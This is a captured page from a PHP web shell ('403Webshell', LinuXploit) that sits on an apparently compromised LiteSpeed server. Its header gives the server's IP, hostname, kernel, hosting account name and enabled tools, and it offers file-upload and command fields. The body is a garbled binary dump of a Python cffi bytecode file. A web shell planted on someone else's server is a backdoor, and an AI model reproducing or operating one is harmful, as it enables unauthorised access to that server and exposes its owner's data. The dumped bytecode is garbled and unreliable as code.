403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.190.25.53
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python37/lib64/python3.7/site-packages/cffi/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python37/lib64/python3.7/site-packages/cffi/__pycache__/verifier.cpython-37.pyc
B

ل=^�+�@s�ddlZddlZddlZddlZddlZddlmZddlmZddlm	Z	ej
dkrhddlZdd�Z
nddlZd	d�Z
ej
d
kr�ejZnGdd�dej�ZGd
d�de�ZdZdd�Zdadd�Zdd�Zddd�Zdd�Zdd�ZdS)�N�)�__version_verifier_modules__)�ffiplatform)�VerificationError)�rcCstjjdd�S)N)�	importlib�	machinery�EXTENSION_SUFFIXES�r
r
�@/opt/alt/python37/lib64/python3.7/site-packages/cffi/verifier.py�_extension_suffixessrcCsdd�t��D�S)NcSs g|]\}}}|tjkr|�qSr
)�imp�C_EXTENSION)�.0�suffix�_�typer
r
r�
<listcomp>sz'_extension_suffixes.<locals>.<listcomp>)r
Zget_suffixesr
r
r
rrs)rcseZdZ�fdd�Z�ZS)�NativeIOcs(t|t�r|�d�}tt|��|�dS)N�ascii)�
isinstance�unicode�encode�superr�write)�self�s)�	__class__r
rrs

zNativeIO.write)�__name__�
__module__�__qualname__r�
__classcell__r
r
)rrrsrc@szeZdZddd�Zd dd�Zd	d
�Zdd�Zd
d�Zdd�Zdd�Z	dd�Z
dd�Zdd�Zd!dd�Z
dd�Zdd�ZdS)"�VerifierN�F�.ccKsv|jjrtd|jjf��||_||_|s4t�|�}t||�}
|
|�|_|j�	|�|	|_
|�||
�|_|rz|rxt
d��n�d�tjdd�t||g|j�}tjdkr�|�d�}tt�|ddd��d	@�}|�d
��d�}tt�|ddd��d	@�}|�d
��d�}d||jj||f}t�d}|�p0t�|_tj�|j||�|_ tj�|j||�|_!||_"d|_#d|_$dS)NzKfeature not supported with ffi.verify(), but only with ffi.set_source(): %sz)can't specify both 'modulename' and 'tag'�r)rzutf-8r�l���0x�Lr�0z_cffi_%s_%s%s%sF)%�_parserZ_uses_new_featurer�ffi�preambler�flatten�_locate_engine_class�_vengineZpatch_extension_kwds�flags�make_relative_to�kwds�	TypeError�join�sys�versionrZ_cdefsources�version_infor�hex�binascii�crc32�lstrip�rstripZ
_class_key�_get_so_suffixes�_caller_dir_pycache�tmpdir�os�path�sourcefilename�modulefilename�ext_package�_has_source�_has_module)rr+r,r?Z
modulenamerD�tag�force_generic_engineZsource_extensionr0�relative_tor2Zflattened_kwdsZ
vengine_class�keyZk1Zk2rr
r
r�__init__ sD









zVerifier.__init__c	Cs8|jj�&|jr |dkr td��|�|�WdQRXdS)zkWrite the C source code.  It is produced in 'self.sourcefilename',
        which can be tweaked beforehand.Nzsource code already written)r+�_lockrEr�
_write_source)r�filer
r
r�write_sourceHs

zVerifier.write_sourcec	Cs<|jj�*|jrtd��|js&|��|��WdQRXdS)z�Write the C source code (if not done already) and compile it.
        This produces a dynamic link library in 'self.modulefilename'.zmodule already compiledN)r+rLrFrrErM�_compile_module)rr
r
r�compile_moduleQs
zVerifier.compile_modulec	CsF|jj�4|js4|��|js4|js,|��|��|��SQRXdS)a"Get a C module from this Verifier instance.
        Returns an instance of a FFILibrary class that behaves like the
        objects returned by ffi.dlopen(), but that delegates all
        operations to the C module.  If necessary, the C code is written
        and compiled first.
        N)r+rLrF�_locate_modulerErMrP�
_load_library)rr
r
r�load_library[s
zVerifier.load_librarycCsBtj�|j�}|�dd�d}|�d�r>ttd�r>|dd�}|S)N�.rrZ_d�gettotalrefcount���)r@rA�basenamerC�split�endswith�hasattrr5)rrXr
r
r�get_module_nameks
zVerifier.get_module_namec	CsVt��|js0|jj�|js&|��WdQRXt�|j�}|��}tj	||f|j
�S)N)rZ_hack_at_distutilsrEr+rLrMZmaybe_relative_pathrBr\�
get_extensionr2)rZ
sourcename�modnamer
r
rr]vs
zVerifier.get_extensioncCs|jjS)N)r/Z_gen_python_module)rr
r
r�generates_python_module�sz Verifier.generates_python_modulecs~|rztj�|�rztj�|��|��}xTtjD]J}||kr,||}t|ttf�s\t	d|f���fdd�|D�}|||<q,W|S)Nz&keyword '%s' should be a list or tuplecsg|]}tj��|��qSr
)r@rAr4)r�fn)�dirnamer
rr�sz-Verifier.make_relative_to.<locals>.<listcomp>)
r@rAra�copyrZLIST_OF_FILE_NAMESr�list�tupler3)rr2rIrJ�lstr
)rarr1�s
zVerifier.make_relative_tocCs�tj�|j�st|jrHyt|jdddg�}Wntk
r>dSX|j}nd}|j�	|�
�|t��}|dkrndS||_|j��d|_
dS)N�__doc__T)r@rA�isfilerCrD�
__import__�ImportError�__path__r/�find_moduler\r=Z
collect_typesrF)r�pkgrA�filenamer
r
rrR�s
zVerifier._locate_modulecCs$||j_z|j��Wd|j`XdS)N)r/Z_fZwrite_source_to_f)rrNr
r
r�_write_source_to�szVerifier._write_source_toc	Cs�|dk	r|�|�n�t�}|�|�|��}tj�|j�rbt|jd��}|��|k}WdQRXnd}|r�t	|j�t|jd��}|�
|�WdQRXd|_dS)N�rT�w)rnr�getvaluer@rA�existsrB�open�read�_ensure_dirrrE)rrN�fZsource_data�fpZ
needs_writtenr
r
rrM�s

zVerifier._write_sourcecCsptj�|j�}t�||���}yt�||j�}Wnt	k
rHd}YnX|sft
|j�t�||j�d|_
dS)NFT)r@rArarBr�compiler]�samefilerC�OSErrorru�shutil�moverF)rr?ZoutputfilenameZsamer
r
rrP�s

zVerifier._compile_modulecCs0|js
t�|jdk	r"|j�|j�S|j��SdS)N)rF�AssertionErrorr0r/rT)rr
r
rrS�s

zVerifier._load_library)NNNr#Fr$NN)N)N)rrr rKrOrQrTr\r]r_r1rRrnrMrPrSr
r
r
rr"s
&
	



r"FcCs|trd}|sPdtjkrd}n4yddl}Wntk
r@d}YnX|j|k	rPd}|rfddlm}|jSddlm	}|j
SdS)NTZ__pypy__r�?r)�vengine_gen)�vengine_cpy)�_FORCE_GENERIC_ENGINEr5�builtin_module_names�
_cffi_backendriZ_backendr#rZVGenericEnginer�ZVCPythonEngine)r+rHr�rr�r
r
rr.�s 


r.cCsHtrtStj�d�}|r|St�d�jj}tj�	tj�
tj�|�d��S)NZCFFI_TMPDIRr&�__pycache__)�_TMPDIRr@�environ�getr5�	_getframe�f_code�co_filenamerA�abspathr4ra)�resultrmr
r
rr>�sr>cCs|adS)z:Set the temporary directory to use instead of __pycache__.N)r�)rar
r
r�
set_tmpdirsr�c	Cs0|pt�}yt�|�}Wntk
r,dSX|r8d}nt�d��}xd|D]\}|���d�rL|���|�sz|���d�rLyt�tj	�
||��WqLtk
r�YqLXqLWtj	�
|d�g}xn|D]f}yJxDt�|�D]6}tj	�
||�}tj	�|��r|�|�q�t�|�q�WWq�tk
�r&Yq�Xq�WdS)z}Clean up the temporary directory by removing all files in it
    called `_cffi_*.{c,so}` as well as the `build` subdirectory.Nz.crZ_cffi_�build)
r>r@�listdirrzr=�lower�
startswithrZ�unlinkrAr4�isdir�append)r?Zkeep_so�filelistrr`Z	clean_dir�dirr
r
r�cleanup_tmpdirs2



r�cCs&t�}|s"tjdkrdg}ndg}|S)N�win32z.pydz.so)rr5�platform)�suffixesr
r
rr=$s
r=cCs*tj�|�}|r&tj�|�s&t�|�dS)N)r@rArar��makedirs)rmrar
r
rru/sru)NF)r5r@r9r{�ior#rr�errorrr7Zimportlib.machineryrrr
�StringIOr�BytesIO�objectr"r�r.r�r>r�r�r=rur
r
r
r�<module>s*(


?



Youez - 2016 - github.com/yon3zu
LinuXploit